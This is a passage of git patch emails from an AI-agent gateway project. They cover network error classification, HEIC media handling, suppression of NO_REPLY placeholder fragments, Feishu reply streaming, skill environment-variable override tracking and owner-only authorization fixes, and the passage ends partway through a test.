CHANGELOG.md | 1 + ...handled-rejections.fatal-detection.test.ts | 7 +++++- src/infra/unhandled-rejections.test.ts | 23 +++++++++++++++++ src/infra/unhandled-rejections.ts | 25 ++++++++++++++----- 4 files changed, 49 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4fef2df25ce..61c15908af8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -221,6 +221,7 @@ Docs: https://docs.openclaw.ai - Agents/skill API write pacing: add a global prompt guardrail that treats skill-driven external API writes as rate-limited by default, so runners prefer batched writes, avoid tight request loops, and respect `429`/`Retry-After`. Thanks @vincentkoc. - Google Chat/multi-account webhook auth fallback: when `channels.googlechat.accounts.default` carries shared webhook audience/path settings (for example after config normalization), inherit those defaults for named accounts while preserving top-level and per-account overrides, so inbound webhook verification no longer fails silently for named accounts missing duplicated audience fields. Fixes #38369. - Models/tool probing: raise the tool-capability probe budget from 32 to 256 tokens so reasoning models that spend tokens on thinking before returning a required tool call are less likely to be misclassified as not supporting tools. (#7521) Thanks @jakobdylanc. +- Gateway/transient network classification: treat wrapped `...: fetch failed` transport messages as transient while avoiding broad matches like `Web fetch failed (404): ...`, preventing Discord reconnect wrappers from crashing the gateway without suppressing non-network tool failures. (#38530) Thanks @xinhuagu. ## 2026.3.2 diff --git a/src/infra/unhandled-rejections.fatal-detection.test.ts b/src/infra/unhandled-rejections.fatal-detection.test.ts index 1a4ff61879d..3a19d5bb6ed 100644 --- a/src/infra/unhandled-rejections.fatal-detection.test.ts +++ b/src/infra/unhandled-rejections.fatal-detection.test.ts @@ -86,7 +86,7 @@ describe("installUnhandledRejectionHandler - fatal detection", () => { describe("non-fatal errors", () => { it("does not exit on known transient network errors", () => { - const transientCases = [ + const transientCases: unknown[] = [ Object.assign(new TypeError("fetch failed"), { cause: { code: "UND_ERR_CONNECT_TIMEOUT", syscall: "connect" }, }), @@ -111,6 +111,11 @@ describe("installUnhandledRejectionHandler - fatal detection", () => { }), ]; + // Wrapped fetch-failed (e.g. Discord: "Failed to get gateway information from Discord: fetch failed") + transientCases.push( + new Error("Failed to get gateway information from Discord: fetch failed"), + ); + for (const transientErr of transientCases) { expectExitCodeFromUnhandled(transientErr, []); } diff --git a/src/infra/unhandled-rejections.test.ts b/src/infra/unhandled-rejections.test.ts index 6b1e4a19108..5df7ee6949e 100644 --- a/src/infra/unhandled-rejections.test.ts +++ b/src/infra/unhandled-rejections.test.ts @@ -56,10 +56,13 @@ describe("isTransientNetworkError", () => { "EHOSTUNREACH", "ENETUNREACH", "EAI_AGAIN", + "EPROTO", "UND_ERR_CONNECT_TIMEOUT", "UND_ERR_SOCKET", "UND_ERR_HEADERS_TIMEOUT", "UND_ERR_BODY_TIMEOUT", + "ERR_SSL_WRONG_VERSION_NUMBER", + "ERR_SSL_PROTOCOL_RETURNED_AN_ERROR", ]; for (const code of codes) { @@ -122,6 +125,26 @@ describe("isTransientNetworkError", () => { expect(isTransientNetworkError(error)).toBe(true); }); + it("returns true for wrapped fetch-failed messages from integration clients", () => { + const error = new Error("Failed to get gateway information from Discord: fetch failed"); + expect(isTransientNetworkError(error)).toBe(true); + }); + + it("returns false for non-network fetch-failed wrappers from tools", () => { + const error = new Error("Web fetch failed (404): Not Found"); + expect(isTransientNetworkError(error)).toBe(false); + }); + + it("returns true for TLS/SSL transient message snippets", () => { + expect(isTransientNetworkError(new Error("write EPROTO 00A8B0C9:error"))).toBe(true); + expect( + isTransientNetworkError( + new Error("SSL routines:OPENSSL_internal:WRONG_VERSION_NUMBER while connecting"), + ), + ).toBe(true); + expect(isTransientNetworkError(new Error("tlsv1 alert protocol version"))).toBe(true); + }); + it("returns false for regular errors without network codes", () => { expect(isTransientNetworkError(new Error("Something went wrong"))).toBe(false); expect(isTransientNetworkError(new TypeError("Cannot read property"))).toBe(false); diff --git a/src/infra/unhandled-rejections.ts b/src/infra/unhandled-rejections.ts index 67f60d3f389..44a6bb22584 100644 --- a/src/infra/unhandled-rejections.ts +++ b/src/infra/unhandled-rejections.ts @@ -38,6 +38,9 @@ const TRANSIENT_NETWORK_CODES = new Set([ "UND_ERR_SOCKET", "UND_ERR_HEADERS_TIMEOUT", "UND_ERR_BODY_TIMEOUT", + "EPROTO", + "ERR_SSL_WRONG_VERSION_NUMBER", + "ERR_SSL_PROTOCOL_RETURNED_AN_ERROR", ]); const TRANSIENT_NETWORK_ERROR_NAMES = new Set([ @@ -49,7 +52,7 @@ const TRANSIENT_NETWORK_ERROR_NAMES = new Set([ ]); const TRANSIENT_NETWORK_MESSAGE_CODE_RE = - /\b(ECONNRESET|ECONNREFUSED|ENOTFOUND|ETIMEDOUT|ESOCKETTIMEDOUT|ECONNABORTED|EPIPE|EHOSTUNREACH|ENETUNREACH|EAI_AGAIN|UND_ERR_CONNECT_TIMEOUT|UND_ERR_DNS_RESOLVE_FAILED|UND_ERR_CONNECT|UND_ERR_SOCKET|UND_ERR_HEADERS_TIMEOUT|UND_ERR_BODY_TIMEOUT)\b/i; + /\b(ECONNRESET|ECONNREFUSED|ENOTFOUND|ETIMEDOUT|ESOCKETTIMEDOUT|ECONNABORTED|EPIPE|EHOSTUNREACH|ENETUNREACH|EAI_AGAIN|EPROTO|UND_ERR_CONNECT_TIMEOUT|UND_ERR_DNS_RESOLVE_FAILED|UND_ERR_CONNECT|UND_ERR_SOCKET|UND_ERR_HEADERS_TIMEOUT|UND_ERR_BODY_TIMEOUT)\b/i; const TRANSIENT_NETWORK_MESSAGE_SNIPPETS = [ "getaddrinfo", @@ -58,8 +61,22 @@ const TRANSIENT_NETWORK_MESSAGE_SNIPPETS = [ "network error", "network is unreachable", "temporary failure in name resolution", + "tlsv1 alert", + "ssl routines", + "packet length too long", + "write eproto", ]; +function isWrappedFetchFailedMessage(message: string): boolean { + if (message === "fetch failed") { + return true; + } + + // Keep wrapped variants (for example "...: fetch failed") while avoiding broad + // matches like "Web fetch failed (404): ..." that are not transport failures. + return /:\s*fetch failed$/.test(message); +} + function getErrorCause(err: unknown): unknown { if (!err || typeof err !== "object") { return undefined; @@ -154,10 +171,6 @@ export function isTransientNetworkError(err: unknown): boolean { return true; } - if (candidate instanceof TypeError && candidate.message === "fetch failed") { - return true; - } - if (!candidate || typeof candidate !== "object") { continue; } @@ -169,7 +182,7 @@ export function isTransientNetworkError(err: unknown): boolean { if (TRANSIENT_NETWORK_MESSAGE_CODE_RE.test(message)) { return true; } - if (message === "fetch failed") { + if (isWrappedFetchFailedMessage(message)) { return true; } if (TRANSIENT_NETWORK_MESSAGE_SNIPPETS.some((snippet) => message.includes(snippet))) { From 6017b738b1ab87cee16192e99cb597e2fc095da0 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 22:49:38 -0500 Subject: [PATCH 090/844] Web: add HEIC media regression and doc fix (#38294) * Web: add HEIC media normalization regression * Docs: list HEIC input_image MIME types * Update src/web/media.test.ts Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com> --------- Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com> --- docs/gateway/openresponses-http-api.md | 2 +- src/web/media.test.ts | 29 ++++++++++++++++++++++++++ 2 files changed, 30 insertions(+), 1 deletion(-) diff --git a/docs/gateway/openresponses-http-api.md b/docs/gateway/openresponses-http-api.md index b5b4045ac62..8b490b30632 100644 --- a/docs/gateway/openresponses-http-api.md +++ b/docs/gateway/openresponses-http-api.md @@ -161,7 +161,7 @@ Supports base64 or URL sources: } ``` -Allowed MIME types (current): `image/jpeg`, `image/png`, `image/gif`, `image/webp`. +Allowed MIME types (current): `image/jpeg`, `image/png`, `image/gif`, `image/webp`, `image/heic`, `image/heif`. Max size (current): 10MB. ## Files (`input_file`) diff --git a/src/web/media.test.ts b/src/web/media.test.ts index d91ed4b7d66..9db06e3024a 100644 --- a/src/web/media.test.ts +++ b/src/web/media.test.ts @@ -16,6 +16,17 @@ import { optimizeImageToJpeg, } from "./media.js"; +const convertHeicToJpegMock = vi.fn(); + +vi.mock("../media/image-ops.js", async () => { + const actual = + await vi.importActual("../media/image-ops.js"); + return { + ...actual, + convertHeicToJpeg: (...args: unknown[]) => convertHeicToJpegMock(...args), + }; +}); + let fixtureRoot = ""; let fixtureFileCount = 0; let largeJpegBuffer: Buffer; @@ -23,6 +34,7 @@ let largeJpegFile = ""; let tinyPngBuffer: Buffer; let tinyPngFile = ""; let tinyPngWrongExtFile = ""; +let fakeHeicFile = ""; let alphaPngBuffer: Buffer; let alphaPngFile = ""; let fallbackPngBuffer: Buffer; @@ -76,6 +88,7 @@ beforeAll(async () => { .toBuffer(); tinyPngFile = await writeTempFile(tinyPngBuffer, ".png"); tinyPngWrongExtFile = await writeTempFile(tinyPngBuffer, ".bin"); + fakeHeicFile = await writeTempFile(Buffer.from("fake-heic"), ".heic"); alphaPngBuffer = await sharp({ create: { width: 64, @@ -178,6 +191,22 @@ describe("web media loading", () => { expect(result.contentType).toBe("image/jpeg"); }); + it("normalizes HEIC local files to JPEG output", async () => { + convertHeicToJpegMock.mockResolvedValueOnce(tinyPngBuffer); + + const result = await loadWebMedia(fakeHeicFile, 1024 * 1024); + + expect(convertHeicToJpegMock).toHaveBeenCalledTimes(1); + expect(result.kind).toBe("image"); + expect(result.contentType).toBe("image/jpeg"); + expect(result.fileName).toBe(path.basename(fakeHeicFile, ".heic") + ".jpg"); + expect(result.buffer.length).toBeGreaterThan(0); + expect(result.buffer.equals(tinyPngBuffer)).toBe(false); + // Confirm the output is actually JPEG (magic bytes 0xFF 0xD8) + expect(result.buffer[0]).toBe(0xff); + expect(result.buffer[1]).toBe(0xd8); + }); + it("includes URL + status in fetch errors", async () => { const fetchMock = vi.spyOn(globalThis, "fetch").mockResolvedValueOnce({ ok: false, From e309a15d73270ad1a430211d306c4d3d64281c33 Mon Sep 17 00:00:00 2001 From: ql-wade Date: Sat, 7 Mar 2026 12:04:45 +0800 Subject: [PATCH 091/844] fix: suppress ACP NO_REPLY fragments in console output (#38436) --- CHANGELOG.md | 1 + src/commands/agent.acp.test.ts | 183 +++++++++++++++++++++++++++++++++ src/commands/agent.ts | 103 ++++++++++++++++--- 3 files changed, 275 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 61c15908af8..088f79dd286 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -222,6 +222,7 @@ Docs: https://docs.openclaw.ai - Google Chat/multi-account webhook auth fallback: when `channels.googlechat.accounts.default` carries shared webhook audience/path settings (for example after config normalization), inherit those defaults for named accounts while preserving top-level and per-account overrides, so inbound webhook verification no longer fails silently for named accounts missing duplicated audience fields. Fixes #38369. - Models/tool probing: raise the tool-capability probe budget from 32 to 256 tokens so reasoning models that spend tokens on thinking before returning a required tool call are less likely to be misclassified as not supporting tools. (#7521) Thanks @jakobdylanc. - Gateway/transient network classification: treat wrapped `...: fetch failed` transport messages as transient while avoiding broad matches like `Web fetch failed (404): ...`, preventing Discord reconnect wrappers from crashing the gateway without suppressing non-network tool failures. (#38530) Thanks @xinhuagu. +- ACP/console silent reply suppression: filter ACP `NO_REPLY` lead fragments and silent-only finals before `openclaw agent` logging/delivery so console-backed ACP sessions no longer leak `NO`/`NO_REPLY` placeholders. (#38436) Thanks @ql-wade. ## 2026.3.2 diff --git a/src/commands/agent.acp.test.ts b/src/commands/agent.acp.test.ts index cde0ab54a94..d5dd4b8b727 100644 --- a/src/commands/agent.acp.test.ts +++ b/src/commands/agent.acp.test.ts @@ -7,6 +7,7 @@ import { AcpRuntimeError } from "../acp/runtime/errors.js"; import * as embeddedModule from "../agents/pi-embedded.js"; import type { OpenClawConfig } from "../config/config.js"; import * as configModule from "../config/config.js"; +import { onAgentEvent } from "../infra/agent-events.js"; import type { RuntimeEnv } from "../runtime.js"; import { agentCommand } from "./agent.js"; @@ -195,6 +196,188 @@ describe("agentCommand ACP runtime routing", () => { }); }); + it("suppresses ACP NO_REPLY lead fragments before emitting assistant text", async () => { + await withTempHome(async (home) => { + const storePath = path.join(home, "sessions.json"); + writeAcpSessionStore(storePath); + mockConfig(home, storePath); + + const assistantEvents: Array<{ text?: string; delta?: string }> = []; + const stop = onAgentEvent((evt) => { + if (evt.stream !== "assistant") { + return; + } + assistantEvents.push({ + text: typeof evt.data?.text === "string" ? evt.data.text : undefined, + delta: typeof evt.data?.delta === "string" ? evt.data.delta : undefined, + }); + }); + + const runTurn = vi.fn(async (paramsUnknown: unknown) => { + const params = paramsUnknown as { + onEvent?: (event: { type: string; text?: string; stopReason?: string }) => Promise; + }; + for (const text of ["NO", "NO_", "NO_RE", "NO_REPLY", "Actual answer"]) { + await params.onEvent?.({ type: "text_delta", text }); + } + await params.onEvent?.({ type: "done", stopReason: "stop" }); + }); + + mockAcpManager({ + runTurn: (params: unknown) => runTurn(params), + }); + + try { + await agentCommand({ message: "ping", sessionKey: "agent:codex:acp:test" }, runtime); + } finally { + stop(); + } + + expect(assistantEvents).toEqual([{ text: "Actual answer", delta: "Actual answer" }]); + + const logLines = vi.mocked(runtime.log).mock.calls.map(([first]) => String(first)); + expect(logLines.some((line) => line.includes("NO_REPLY"))).toBe(false); + expect(logLines.some((line) => line.includes("Actual answer"))).toBe(true); + }); + }); + + it("keeps silent-only ACP turns out of assistant output", async () => { + await withTempHome(async (home) => { + const storePath = path.join(home, "sessions.json"); + writeAcpSessionStore(storePath); + mockConfig(home, storePath); + + const assistantEvents: string[] = []; + const stop = onAgentEvent((evt) => { + if (evt.stream !== "assistant") { + return; + } + if (typeof evt.data?.text === "string") { + assistantEvents.push(evt.data.text); + } + }); + + const runTurn = vi.fn(async (paramsUnknown: unknown) => { + const params = paramsUnknown as { + onEvent?: (event: { type: string; text?: string; stopReason?: string }) => Promise; + }; + for (const text of ["NO", "NO_", "NO_RE", "NO_REPLY"]) { + await params.onEvent?.({ type: "text_delta", text }); + } + await params.onEvent?.({ type: "done", stopReason: "stop" }); + }); + + mockAcpManager({ + runTurn: (params: unknown) => runTurn(params), + }); + + try { + await agentCommand({ message: "ping", sessionKey: "agent:codex:acp:test" }, runtime); + } finally { + stop(); + } + + expect(assistantEvents).toEqual([]); + + const logLines = vi.mocked(runtime.log).mock.calls.map(([first]) => String(first)); + expect(logLines.some((line) => line.includes("NO_REPLY"))).toBe(false); + expect(logLines.some((line) => line.includes("No reply from agent."))).toBe(true); + }); + }); + + it("preserves repeated identical ACP delta chunks", async () => { + await withTempHome(async (home) => { + const storePath = path.join(home, "sessions.json"); + writeAcpSessionStore(storePath); + mockConfig(home, storePath); + + const assistantEvents: Array<{ text?: string; delta?: string }> = []; + const stop = onAgentEvent((evt) => { + if (evt.stream !== "assistant") { + return; + } + assistantEvents.push({ + text: typeof evt.data?.text === "string" ? evt.data.text : undefined, + delta: typeof evt.data?.delta === "string" ? evt.data.delta : undefined, + }); + }); + + const runTurn = vi.fn(async (paramsUnknown: unknown) => { + const params = paramsUnknown as { + onEvent?: (event: { type: string; text?: string; stopReason?: string }) => Promise; + }; + for (const text of ["b", "o", "o", "k"]) { + await params.onEvent?.({ type: "text_delta", text }); + } + await params.onEvent?.({ type: "done", stopReason: "stop" }); + }); + + mockAcpManager({ + runTurn: (params: unknown) => runTurn(params), + }); + + try { + await agentCommand({ message: "ping", sessionKey: "agent:codex:acp:test" }, runtime); + } finally { + stop(); + } + + expect(assistantEvents).toEqual([ + { text: "b", delta: "b" }, + { text: "bo", delta: "o" }, + { text: "boo", delta: "o" }, + { text: "book", delta: "k" }, + ]); + + const logLines = vi.mocked(runtime.log).mock.calls.map(([first]) => String(first)); + expect(logLines.some((line) => line.includes("book"))).toBe(true); + }); + }); + + it("re-emits buffered NO prefix when ACP text becomes visible content", async () => { + await withTempHome(async (home) => { + const storePath = path.join(home, "sessions.json"); + writeAcpSessionStore(storePath); + mockConfig(home, storePath); + + const assistantEvents: Array<{ text?: string; delta?: string }> = []; + const stop = onAgentEvent((evt) => { + if (evt.stream !== "assistant") { + return; + } + assistantEvents.push({ + text: typeof evt.data?.text === "string" ? evt.data.text : undefined, + delta: typeof evt.data?.delta === "string" ? evt.data.delta : undefined, + }); + }); + + const runTurn = vi.fn(async (paramsUnknown: unknown) => { + const params = paramsUnknown as { + onEvent?: (event: { type: string; text?: string; stopReason?: string }) => Promise; + }; + for (const text of ["NO", "W"]) { + await params.onEvent?.({ type: "text_delta", text }); + } + await params.onEvent?.({ type: "done", stopReason: "stop" }); + }); + + mockAcpManager({ + runTurn: (params: unknown) => runTurn(params), + }); + + try { + await agentCommand({ message: "ping", sessionKey: "agent:codex:acp:test" }, runtime); + } finally { + stop(); + } + + expect(assistantEvents).toEqual([{ text: "NOW", delta: "NOW" }]); + + const logLines = vi.mocked(runtime.log).mock.calls.map(([first]) => String(first)); + expect(logLines.some((line) => line.includes("NOW"))).toBe(true); + }); + }); + it("fails closed for ACP-shaped session keys missing ACP metadata", async () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); diff --git a/src/commands/agent.ts b/src/commands/agent.ts index fcbe593ec03..10582521b95 100644 --- a/src/commands/agent.ts +++ b/src/commands/agent.ts @@ -38,6 +38,7 @@ import { buildWorkspaceSkillSnapshot } from "../agents/skills.js"; import { getSkillsSnapshotVersion } from "../agents/skills/refresh.js"; import { resolveAgentTimeoutMs } from "../agents/timeout.js"; import { ensureAgentWorkspace } from "../agents/workspace.js"; +import { normalizeReplyPayload } from "../auto-reply/reply/normalize-reply.js"; import { formatThinkingLevels, formatXHighModelHint, @@ -47,6 +48,11 @@ import { type ThinkLevel, type VerboseLevel, } from "../auto-reply/thinking.js"; +import { + isSilentReplyPrefixText, + isSilentReplyText, + SILENT_REPLY_TOKEN, +} from "../auto-reply/tokens.js"; import { formatCliCommand } from "../cli/command-format.js"; import { resolveCommandSecretRefsViaGateway } from "../cli/command-secret-gateway.js"; import { getAgentRuntimeCommandSecretTargetIds } from "../cli/command-secret-targets.js"; @@ -148,6 +154,80 @@ function prependInternalEventContext( return [renderedEvents, body].filter(Boolean).join("\n\n"); } +function createAcpVisibleTextAccumulator() { + let pendingSilentPrefix = ""; + let visibleText = ""; + const startsWithWordChar = (chunk: string): boolean => /^[\p{L}\p{N}]/u.test(chunk); + + const resolveNextCandidate = (base: string, chunk: string): string => { + if (!base) { + return chunk; + } + if ( + isSilentReplyText(base, SILENT_REPLY_TOKEN) && + !chunk.startsWith(base) && + startsWithWordChar(chunk) + ) { + return chunk; + } + // Some ACP backends emit cumulative snapshots even on text_delta-style hooks. + // Accept those only when they strictly extend the buffered text. + if (chunk.startsWith(base) && chunk.length > base.length) { + return chunk; + } + return `${base}${chunk}`; + }; + + const mergeVisibleChunk = (base: string, chunk: string): { text: string; delta: string } => { + if (!base) { + return { text: chunk, delta: chunk }; + } + if (chunk.startsWith(base) && chunk.length > base.length) { + const delta = chunk.slice(base.length); + return { text: chunk, delta }; + } + return { + text: `${base}${chunk}`, + delta: chunk, + }; + }; + + return { + consume(chunk: string): { text: string; delta: string } | null { + if (!chunk) { + return null; + } + + if (!visibleText) { + const leadCandidate = resolveNextCandidate(pendingSilentPrefix, chunk); + const trimmedLeadCandidate = leadCandidate.trim(); + if ( + isSilentReplyText(trimmedLeadCandidate, SILENT_REPLY_TOKEN) || + isSilentReplyPrefixText(trimmedLeadCandidate, SILENT_REPLY_TOKEN) + ) { + pendingSilentPrefix = leadCandidate; + return null; + } + if (pendingSilentPrefix) { + pendingSilentPrefix = ""; + visibleText = leadCandidate; + return { + text: visibleText, + delta: leadCandidate, + }; + } + } + + const nextVisible = mergeVisibleChunk(visibleText, chunk); + visibleText = nextVisible.text; + return nextVisible.delta ? nextVisible : null; + }, + finalize(): string { + return visibleText.trim(); + }, + }; +} + function runAgentAttempt(params: { providerOverride: string; modelOverride: string; @@ -492,7 +572,7 @@ async function agentCommandInternal( }, }); - let streamedText = ""; + const visibleTextAccumulator = createAcpVisibleTextAccumulator(); let stopReason: string | undefined; try { const dispatchPolicyError = resolveAcpDispatchPolicyError(cfg); @@ -528,13 +608,16 @@ async function agentCommandInternal( if (!event.text) { return; } - streamedText += event.text; + const visibleUpdate = visibleTextAccumulator.consume(event.text); + if (!visibleUpdate) { + return; + } emitAgentEvent({ runId, stream: "assistant", data: { - text: streamedText, - delta: event.text, + text: visibleUpdate.text, + delta: visibleUpdate.delta, }, }); }, @@ -566,14 +649,10 @@ async function agentCommandInternal( }, }); - const finalText = streamedText.trim(); - const payloads = finalText - ? [ - { - text: finalText, - }, - ] - : []; + const normalizedFinalPayload = normalizeReplyPayload({ + text: visibleTextAccumulator.finalize(), + }); + const payloads = normalizedFinalPayload ? [normalizedFinalPayload] : []; const result = { payloads, meta: { From 024af2b738d109851abd8266e6a6993917fe2360 Mon Sep 17 00:00:00 2001 From: Xinhua Gu Date: Sat, 7 Mar 2026 05:33:30 +0100 Subject: [PATCH 092/844] fix(feishu): disable block streaming to prevent silent reply drops (openclaw#38422) Verified: - pnpm build - pnpm check - pnpm test:macmini Co-authored-by: xinhuagu <562450+xinhuagu@users.noreply.github.com> Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com> --- CHANGELOG.md | 1 + extensions/feishu/src/reply-dispatcher.test.ts | 11 +++++++++++ extensions/feishu/src/reply-dispatcher.ts | 1 + 3 files changed, 13 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 088f79dd286..ed41f61c5fa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -223,6 +223,7 @@ Docs: https://docs.openclaw.ai - Models/tool probing: raise the tool-capability probe budget from 32 to 256 tokens so reasoning models that spend tokens on thinking before returning a required tool call are less likely to be misclassified as not supporting tools. (#7521) Thanks @jakobdylanc. - Gateway/transient network classification: treat wrapped `...: fetch failed` transport messages as transient while avoiding broad matches like `Web fetch failed (404): ...`, preventing Discord reconnect wrappers from crashing the gateway without suppressing non-network tool failures. (#38530) Thanks @xinhuagu. - ACP/console silent reply suppression: filter ACP `NO_REPLY` lead fragments and silent-only finals before `openclaw agent` logging/delivery so console-backed ACP sessions no longer leak `NO`/`NO_REPLY` placeholders. (#38436) Thanks @ql-wade. +- Feishu/reply delivery reliability: disable block streaming in Feishu reply options so plain-text auto-render replies are no longer silently dropped before final delivery. (#38258) Thanks @xinhuagu. ## 2026.3.2 diff --git a/extensions/feishu/src/reply-dispatcher.test.ts b/extensions/feishu/src/reply-dispatcher.test.ts index 3f464a88318..b7a1292a4f9 100644 --- a/extensions/feishu/src/reply-dispatcher.test.ts +++ b/extensions/feishu/src/reply-dispatcher.test.ts @@ -219,6 +219,17 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { expect(sendMediaFeishuMock).not.toHaveBeenCalled(); }); + it("sets disableBlockStreaming in replyOptions to prevent silent reply drops", async () => { + const result = createFeishuReplyDispatcher({ + cfg: {} as never, + agentId: "agent", + runtime: {} as never, + chatId: "oc_chat", + }); + + expect(result.replyOptions).toHaveProperty("disableBlockStreaming", true); + }); + it("uses streaming session for auto mode markdown payloads", async () => { createFeishuReplyDispatcher({ cfg: {} as never, diff --git a/extensions/feishu/src/reply-dispatcher.ts b/extensions/feishu/src/reply-dispatcher.ts index c754bce5c16..3bd1353825d 100644 --- a/extensions/feishu/src/reply-dispatcher.ts +++ b/extensions/feishu/src/reply-dispatcher.ts @@ -382,6 +382,7 @@ export function createFeishuReplyDispatcher(params: CreateFeishuReplyDispatcherP replyOptions: { ...replyOptions, onModelSelected: prefixContext.onModelSelected, + disableBlockStreaming: true, onPartialReply: streamingEnabled ? (payload: ReplyPayload) => { if (!payload.text) { From 15a5e39da2b7f34abe88c2c9bbeabaf5896cbb69 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 23:33:42 -0500 Subject: [PATCH 093/844] Fix owner-only auth and overlapping skill env regressions (#38548) --- src/agents/skills.test.ts | 32 ++++++++ src/agents/skills/env-overrides.ts | 75 +++++++++++++++---- .../command-auth.owner-default.test.ts | 12 +-- src/auto-reply/command-auth.ts | 9 +-- 4 files changed, 99 insertions(+), 29 deletions(-) diff --git a/src/agents/skills.test.ts b/src/agents/skills.test.ts index 8fd64ebccb5..a444fceded4 100644 --- a/src/agents/skills.test.ts +++ b/src/agents/skills.test.ts @@ -266,6 +266,38 @@ describe("applySkillEnvOverrides", () => { }); }); + it("keeps env keys tracked until all overlapping overrides restore", async () => { + const workspaceDir = await makeWorkspace(); + const skillDir = path.join(workspaceDir, "skills", "env-skill"); + await writeSkill({ + dir: skillDir, + name: "env-skill", + description: "Needs env", + metadata: '{"openclaw":{"requires":{"env":["ENV_KEY"]},"primaryEnv":"ENV_KEY"}}', + }); + + const entries = loadWorkspaceSkillEntries(workspaceDir, resolveTestSkillDirs(workspaceDir)); + + withClearedEnv(["ENV_KEY"], () => { + const config = { skills: { entries: { "env-skill": { apiKey: "injected" } } } }; + const restoreFirst = applySkillEnvOverrides({ skills: entries, config }); + const restoreSecond = applySkillEnvOverrides({ skills: entries, config }); + + try { + expect(process.env.ENV_KEY).toBe("injected"); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(true); + + restoreFirst(); + expect(process.env.ENV_KEY).toBe("injected"); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(true); + } finally { + restoreSecond(); + expect(process.env.ENV_KEY).toBeUndefined(); + expect(getActiveSkillEnvKeys().has("ENV_KEY")).toBe(false); + } + }); + }); + it("applies env overrides from snapshots", async () => { const workspaceDir = await makeWorkspace(); const skillDir = path.join(workspaceDir, "skills", "env-skill"); diff --git a/src/agents/skills/env-overrides.ts b/src/agents/skills/env-overrides.ts index b56d02070df..f06ff942f8a 100644 --- a/src/agents/skills/env-overrides.ts +++ b/src/agents/skills/env-overrides.ts @@ -9,8 +9,13 @@ import type { SkillEntry, SkillSnapshot } from "./types.js"; const log = createSubsystemLogger("env-overrides"); -type EnvUpdate = { key: string; prev: string | undefined }; +type EnvUpdate = { key: string }; type SkillConfig = NonNullable>; +type ActiveSkillEnvEntry = { + baseline: string | undefined; + value: string; + count: number; +}; /** * Tracks env var keys that are currently injected by skill overrides. @@ -18,11 +23,51 @@ type SkillConfig = NonNullable>; * leak to child processes (e.g., OPENAI_API_KEY leaking to Codex CLI). * @see https://github.com/openclaw/openclaw/issues/36280 */ -const activeSkillEnvKeys = new Set(); +const activeSkillEnvEntries = new Map(); /** Returns a snapshot of env var keys currently injected by skill overrides. */ export function getActiveSkillEnvKeys(): ReadonlySet { - return activeSkillEnvKeys; + return new Set(activeSkillEnvEntries.keys()); +} + +function acquireActiveSkillEnvKey(key: string, value: string): boolean { + const active = activeSkillEnvEntries.get(key); + if (active) { + active.count += 1; + if (process.env[key] === undefined) { + process.env[key] = active.value; + } + return true; + } + if (process.env[key] !== undefined) { + return false; + } + activeSkillEnvEntries.set(key, { + baseline: process.env[key], + value, + count: 1, + }); + return true; +} + +function releaseActiveSkillEnvKey(key: string) { + const active = activeSkillEnvEntries.get(key); + if (!active) { + return; + } + active.count -= 1; + if (active.count > 0) { + if (process.env[key] === undefined) { + process.env[key] = active.value; + } + return; + } + activeSkillEnvEntries.delete(key); + if (active.baseline === undefined) { + delete process.env[key]; + } else { + process.env[key] = active.baseline; + } } type SanitizedSkillEnvOverrides = { @@ -112,7 +157,9 @@ function applySkillConfigEnvOverrides(params: { if (skillConfig.env) { for (const [rawKey, envValue] of Object.entries(skillConfig.env)) { const envKey = rawKey.trim(); - if (!envKey || !envValue || process.env[envKey]) { + const hasExternallyManagedValue = + process.env[envKey] !== undefined && !activeSkillEnvEntries.has(envKey); + if (!envKey || !envValue || hasExternallyManagedValue) { continue; } pendingOverrides[envKey] = envValue; @@ -124,7 +171,11 @@ function applySkillConfigEnvOverrides(params: { value: skillConfig.apiKey, path: `skills.entries.${skillKey}.apiKey`, }) ?? ""; - if (normalizedPrimaryEnv && resolvedApiKey && !process.env[normalizedPrimaryEnv]) { + const canInjectPrimaryEnv = + normalizedPrimaryEnv && + (process.env[normalizedPrimaryEnv] === undefined || + activeSkillEnvEntries.has(normalizedPrimaryEnv)); + if (canInjectPrimaryEnv && resolvedApiKey) { if (!pendingOverrides[normalizedPrimaryEnv]) { pendingOverrides[normalizedPrimaryEnv] = resolvedApiKey; } @@ -143,24 +194,18 @@ function applySkillConfigEnvOverrides(params: { } for (const [envKey, envValue] of Object.entries(sanitized.allowed)) { - if (process.env[envKey]) { + if (!acquireActiveSkillEnvKey(envKey, envValue)) { continue; } - updates.push({ key: envKey, prev: process.env[envKey] }); - process.env[envKey] = envValue; - activeSkillEnvKeys.add(envKey); + updates.push({ key: envKey }); + process.env[envKey] = activeSkillEnvEntries.get(envKey)?.value ?? envValue; } } function createEnvReverter(updates: EnvUpdate[]) { return () => { for (const update of updates) { - activeSkillEnvKeys.delete(update.key); - if (update.prev === undefined) { - delete process.env[update.key]; - } else { - process.env[update.key] = update.prev; - } + releaseActiveSkillEnvKey(update.key); } }; } diff --git a/src/auto-reply/command-auth.owner-default.test.ts b/src/auto-reply/command-auth.owner-default.test.ts index 117370192d8..3cb6b48d3fd 100644 --- a/src/auto-reply/command-auth.owner-default.test.ts +++ b/src/auto-reply/command-auth.owner-default.test.ts @@ -22,8 +22,8 @@ afterEach(() => { setActivePluginRegistry(createRegistry()); }); -describe("senderIsOwner defaults to true when no owner allowlist configured (#26319)", () => { - it("senderIsOwner is true when no ownerAllowFrom is configured (single-user default)", () => { +describe("senderIsOwner only reflects explicit owner authorization", () => { + it("does not treat direct-message senders as owners when no ownerAllowFrom is configured", () => { const cfg = { channels: { discord: {} }, } as OpenClawConfig; @@ -42,12 +42,11 @@ describe("senderIsOwner defaults to true when no owner allowlist configured (#26 commandAuthorized: true, }); - // 